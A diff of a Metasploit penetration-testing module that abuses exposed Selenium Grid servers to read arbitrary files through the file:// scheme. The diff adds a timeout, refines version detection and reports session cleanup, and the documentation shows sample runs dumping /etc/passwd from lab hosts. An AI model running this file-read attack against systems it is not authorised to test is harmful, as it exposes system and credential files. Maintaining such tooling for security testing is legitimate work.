diff --git a/documentation/modules/auxiliary/gather/selenium_file_read.md b/documentation/modules/auxiliary/gather/selenium_file_read.md
index 49df29739442..d066ecfe7a11 100644
--- a/documentation/modules/auxiliary/gather/selenium_file_read.md
+++ b/documentation/modules/auxiliary/gather/selenium_file_read.md
@@ -47,6 +47,11 @@ This is the file to read. Default is `/etc/passwd`.
 
 This is the browser to use. Default is `firefox`.
 
+### TIMEOUT (required)
+
+This is the amount of time (in seconds) that the module will wait for the payload to be
+executed. Defaults to 75 seconds.
+
 
 ## Scenarios
 ### selenium/standalone-firefox:3.141.59 installed with Docker on Ubuntu 24.04
@@ -65,6 +70,7 @@ Module options (auxiliary/gather/selenium_file_read):
    RPORT     4444             yes       The target port (TCP)
    SCHEME    file             yes       The scheme to use
    SSL       false            no        Negotiate SSL/TLS for outgoing connections
+   TIMEOUT   75               yes       Timeout for exploit (seconds)
    VHOST                      no        HTTP server virtual host
 
 
@@ -74,6 +80,7 @@ msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4445
 [*] Running module against 192.168.56.16
 [*] Running automatic check ("set AutoCheck false" to disable)
 [+] The target appears to be vulnerable. Version 3.141.59 detected
+[*] Started session (4a48aef3-9379-4cbe-9d6a-1ecc3176dc14).
 [+] /etc/passwd
 root:x:0:0:root:/root:/bin/bash
 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
@@ -102,6 +109,7 @@ messagebus:x:104:105::/nonexistent:/usr/sbin/nologin
 rtkit:x:105:106:RealtimeKit,,,:/proc:/usr/sbin/nologin
 pulse:x:106:107:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
 
+[*] Failed to delete the session (4a48aef3-9379-4cbe-9d6a-1ecc3176dc14). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
 [*] Auxiliary module execution completed
 ```
 
@@ -110,7 +118,8 @@ pulse:x:106:107:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
 msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4446
 [*] Running module against 192.168.56.16
 [*] Running automatic check ("set AutoCheck false" to disable)
-[+] The target appears to be vulnerable. Selenium Grid version 4.x detected and ready.
+[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
+[*] Started session (eb790e48-318a-4949-a7ff-8566f181a609).
 [+] /etc/passwd
 root:x:0:0:root:/root:/bin/bash
 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
@@ -138,6 +147,7 @@ messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
 rtkit:x:104:105:RealtimeKit,,,:/proc:/usr/sbin/nologin
 pulse:x:105:106:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
 
+[*] Failed to delete the session (eb790e48-318a-4949-a7ff-8566f181a609). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
 [*] Auxiliary module execution completed
 ```
 
@@ -146,7 +156,8 @@ pulse:x:105:106:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
 msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4447
 [*] Running module against 192.168.56.16
 [*] Running automatic check ("set AutoCheck false" to disable)
-[+] The target appears to be vulnerable. Selenium Grid version 4.x detected and ready.
+[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
+[*] Started session (2b4d313e-6e42-4c33-8bc8-630103269ef7).
 [+] /etc/passwd
 root:x:0:0:root:/root:/bin/bash
 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
@@ -175,6 +186,7 @@ messagebus:x:104:105::/nonexistent:/usr/sbin/nologin
 rtkit:x:105:106:RealtimeKit,,,:/proc:/usr/sbin/nologin
 pulse:x:106:107:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
 
+[*] Failed to delete the session (2b4d313e-6e42-4c33-8bc8-630103269ef7). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
 [*] Auxiliary module execution completed
 ```
 
@@ -183,7 +195,8 @@ pulse:x:106:107:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
 msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4448
 [*] Running module against 192.168.56.16
 [*] Running automatic check ("set AutoCheck false" to disable)
-[+] The target appears to be vulnerable. Selenium Grid version 4.x detected and ready.
+[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
+[*] Started session (599a7d03-1eca-41f3-8726-3a192104dfc1).
 [+] /etc/passwd
 root:x:0:0:root:/root:/bin/bash
 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
@@ -209,15 +222,17 @@ systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
 messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
 pulse:x:101:102:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
 
+[*] Failed to delete the session (599a7d03-1eca-41f3-8726-3a192104dfc1). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
 [*] Auxiliary module execution completed
 ```
 
 ### selenium/standalone-chrome:4.27.0 installed with Docker on Ubuntu 24.04
 ```
-msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4449 browser=chrome
+msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4453 BROWSER=chrome
 [*] Running module against 192.168.56.16
 [*] Running automatic check ("set AutoCheck false" to disable)
-[+] The target appears to be vulnerable. Selenium Grid version 4.x detected and ready.
+[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
+[*] Started session (363b104ba9d167f434518d3eb1add0c6).
 [+] /etc/passwd
 root:x:0:0:root:/root:/bin/bash
 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
@@ -243,15 +258,17 @@ systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
 messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
 pulse:x:101:102:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
 
+[*] Deleted session (363b104ba9d167f434518d3eb1add0c6).
 [*] Auxiliary module execution completed
 ```
 
 ### selenium/standalone-edge:4.27.0 installed with Docker on Ubuntu 24.04
 ```
-msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4450 browser=MicrosoftEdge
+msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4454 BROWSER=MicrosoftEdge
 [*] Running module against 192.168.56.16
 [*] Running automatic check ("set AutoCheck false" to disable)
-[+] The target appears to be vulnerable. Selenium Grid version 4.x detected and ready.
+[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
+[*] Started session (80c4ac70d41d4ffc5585e750c94d9ac5).
 [+] /etc/passwd
 root:x:0:0:root:/root:/bin/bash
 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
@@ -277,5 +294,6 @@ systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
 messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
 pulse:x:101:102:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
 
+[*] Deleted session (80c4ac70d41d4ffc5585e750c94d9ac5).
 [*] Auxiliary module execution completed
 ```
diff --git a/modules/auxiliary/gather/selenium_file_read.rb b/modules/auxiliary/gather/selenium_file_read.rb
index d57890a2775a..96021c92dfb0 100644
--- a/modules/auxiliary/gather/selenium_file_read.rb
+++ b/modules/auxiliary/gather/selenium_file_read.rb
@@ -52,38 +52,45 @@ def initialize(info = {})
         OptString.new('SCHEME', [true, 'The scheme to use', 'file']),
         OptString.new('FILEPATH', [true, 'File to read', '/etc/passwd']),
         OptEnum.new('BROWSER', [true, 'The browser to use', 'firefox', ['firefox', 'chrome', 'MicrosoftEdge']]),
+        OptInt.new('TIMEOUT', [ true, 'Timeout for exploit (seconds)', 75 ]),
       ]
     )
   end
 
   def check
-    res = send_request_cgi({
+    # Request for Selenium Grid version 3
+    v3res = send_request_cgi({
       'method' => 'GET',
       'uri' => normalize_uri(target_uri.path)
     })
-    if res&.code != 200
-      res = send_request_cgi({
+    if v3res&.code != 200
+      # Request for Selenium Grid version 4
+      v4res = send_request_cgi({
         'method' => 'GET',
         'uri' => normalize_uri(target_uri.path, 'status')
       })
-      if res && res.get_json_document && res.get_json_document.include?('value') &&
-         res.get_json_document['value'].include?('message')
-        if res.get_json_document['value']['message'] == 'Selenium Grid ready.'
-          return Exploit::CheckCode::Appears('Selenium Grid version 4.x detected and ready.')
-        elsif res.get_json_document['value']['message'].downcase.include?('selenium grid')
+      if v4res && v4res.get_json_document && v4res.get_json_document.include?('value') &&
+         v4res.get_json_document['value'].include?('message')
+        if v4res.get_json_document['value']['message'] == 'Selenium Grid ready.'
+          return Exploit::CheckCode::Detected('Selenium Grid version 4.x detected and ready.')
+        elsif v4res.get_json_document['value']['message'].downcase.include?('selenium grid')
           return Exploit::CheckCode::Unknown('Selenium Grid version 4.x detected but not ready.')
         end
       end
 
-      return Exploit::CheckCode::Unknown
+      return Exploit::CheckCode::Unknown('Unexpected server reply.')
     end
 
-    js_code = res.get_html_document.css('script').find { |script| script.text.match(/var json = Object.freeze\('(.*?)'\);/) }
-    return Exploit::CheckCode::Unknown unless js_code
+    js_code = v3res.get_html_document.css('script').find { |script| script.text.match(/var json = Object.freeze\('(.*?)'\);/) }
+    return Exploit::CheckCode::Unknown('Unable to determine the version.') unless js_code
 
     json_str = js_code.text.match(/var json = Object.freeze\('(.*?)'\);/)[1]
-    json_data = JSON.parse(json_str)
-    return Exploit::CheckCode::Unknown unless json_data && json_data.include?('version') && json_data['version']
+    begin
+      json_data = JSON.parse(json_str)
+    rescue JSON::ParserError
+      return Exploit::CheckCode::Unknown('Unable to determine the version.')
+    end
+    return Exploit::CheckCode::Unknown('Unable to determine the version.') unless json_data && json_data.include?('version') && json_data['version']
 
     # Extract the version
     version = Rex::Version.new(json_data['version'])
@@ -117,12 +124,14 @@ def run
           ]
         }
       })
-    })
-    fail_with(Failure::Unknown, 'Connection failed.') unless res
+    }, datastore['TIMEOUT'])
+    fail_with(Failure::Unknown, 'Unexpected server reply.') unless res
 
     session_id = res.get_json_document['value']['sessionId'] || res.get_json_document['sessionId']
     fail_with(Failure::Unknown, 'Failed to start session.') unless session_id
 
+    print_status("Started session (#{session_id}).")
+
     # driver.get('file://%s' % [FILEPATH])
     res = send_request_cgi({
       'method' => 'POST',
@@ -143,11 +152,19 @@ def run
     print_good("#{datastore['FILEPATH']}\n#{Nokogiri::HTML(res.get_json_document['value'])&.at('pre')&.text}")
 
     # End session
-    send_request_cgi({
+    # This may take some time (about 5 minutes or so), so no timeout is set here.
+    res = send_request_cgi({
       'method' => 'DELETE',
       'uri' => normalize_uri(target_uri.path, @version3 ? "wd/hub/session/#{session_id}" : "session/#{session_id}"),
       'headers' => { 'Content-Type' => 'application/json; charset=utf-8' }
     })
+    if res
+      print_status("Deleted session (#{session_id}).")
+    else
+      print_status("Failed to delete the session (#{session_id}). "\
+                   'You may need to wait for the session to expire (default: 5 minutes) or '\
+                   'manually delete the session for the next exploit to succeed.')
+    end
   end
 
 end